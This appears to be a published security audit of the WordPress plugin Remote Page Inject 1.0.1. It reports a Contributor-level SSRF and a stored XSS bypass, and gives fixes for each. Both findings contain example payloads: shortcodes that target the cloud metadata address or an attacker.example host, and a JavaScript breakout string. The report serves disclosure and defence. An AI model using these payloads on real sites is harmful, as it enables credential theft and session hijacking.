Remote Page Inject WP Registry grade D+. High-severity findings · 2 findingsWP RegistryHigh-severity findings · 2 findingsOpen the reportD+

High-severity findings.

Audited release

1.0.1

Findings

2

Worst severity

high

Content hash

7ef2fea18cfd26e2eb825af6… Copy

Findings

• high Contributor+ SSRF via [remote_page_inject url] (wp_remote_get, no host allowlist)

  ssrf

  remote_page_inject_shortcode() and get_remote_page_inject_headers() both pass the shortcode url attribute straight to wp_remote_get() with no scheme/host allowlist, no wp_http_validate_url, and no current_user_can check. wp_safe_remote_get() is never used, so reject_unsafe_urls stays false and WP_Http follows up to five redirects without re-validating the Location against private/link-local ranges. WordPress does not kses shortcode attributes: a Contributor (edit_posts, no unfiltered_html) can save [remote_page_inject url="http://169.254.169.254/latest/meta-data/"] (or http://127.0.0.1/, http://10.0.0.1/, an external host that 302s internally) in a pending post; Preview, Gutenberg render, or REST content.rendered runs wp_head (regex-extracts the URL from post_content) and the_content (shortcode_atts). On a cache miss the plugin writes the full response body into transient remote_page_inject_{sanitize_title(url)} for DAY_IN_SECONDS. Observable consequence: the WordPress server issues attacker-chosen HTTP(S) GETs, and because $response['body'] is later echoed into the page this is non-blind SSRF — cloud IMDS, loopback admin UIs, and RFC1918 services appear in the HTML the attacker is shown. Author can publish the same payload so every visitor of that post retriggers a fetch when the transient expires. Subscriber/customer cannot plant the shortcode. Administrators using this as a ClickFunnels embed still get extra-capability internal fetches if they (or a lower-privileged editor of the same post) set a non-allowlisted URL.

  remote-page-inject.php:20-46, 78-96

  Recommendation

  Do not fetch arbitrary shortcode URLs. Keep an administrator-managed host allowlist (e.g. *.clickfunnels.com) and reject anything else at save and at render. Switch the fetch to wp_safe_remote_get() (reject_unsafe_urls, which blocks loopback/RFC1918/link-local) and re-validate each redirect target. Require current_user_can('unfiltered_html') or manage_options before accepting a new URL (strip the shortcode on save_post for roles that lack it). Cap response size and check is_wp_error() before reading the body.

• high Contributor+ stored XSS / unfiltered_html bypass via unsanitized remote head and body

  xss_stored

  The plugin's purpose is to inject remote HTML, but it does so for anyone who can insert a shortcode, not only users with unfiltered_html. After the fetch, remote_page_inject_shortcode() DOMDocument-parses the body and return $body->saveHTML() with no wp_kses / esc_html — that string is inserted into the_content as-is, so a remote <script>, event-handler attribute, or javascript: URL runs in the visitor browser. Independently, remote_page_inject_if_needed() on wp_head regex-parses the URL from $post->post_content and echo get_remote_page_inject_headers($url) with no escaping; that function saveHTML()s the entire remote <head> (script/src, inline script, link, meta) into every view of the post. A second sink interpolates the remote <html class> into an inline script via remote_classes = "$classes" (double-quoted JS; a class value of x";alert(1);// breaks out). WordPress kses on save leaves the shortcode text intact for Contributor/Author, so this is a stored unfiltered_html bypass: Author publishes [remote_page_inject url="https://attacker.example/page.html"] and every visitor of that post executes the attacker's JS (session theft, admin AJAX as a logged-in victim who views the post). Contributor gets the same on Preview and when an editor opens/publishes the pending post. This is not merely eval-by-design for manage_options: single-site Author and Contributor do not have unfiltered_html and cannot otherwise plant frontend script tags. Consumer context is server-rendered HTML (echo / shortcode return), not innerHTML, so <script> in the remote document executes.

  remote-page-inject.php:50-76, 99-139

  Recommendation

  If remote scripts are required for the ClickFunnels use case, restrict which users may set the URL (unfiltered_html or manage_options on save) and which hosts may be fetched (allowlist). Do not echo remote <head> or return remote <body> for posts authored by roles that lack unfiltered_html. Escape any interpolated values in the generated JS (esc_js on $classes) even for allowlisted origins, so a compromised remote page cannot break out of the classList snippet. wp_kses_post on the injected HTML would mitigate XSS but would also strip the landing-page scripts the plugin exists to copy — capability + allowlist is the compatible fix.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.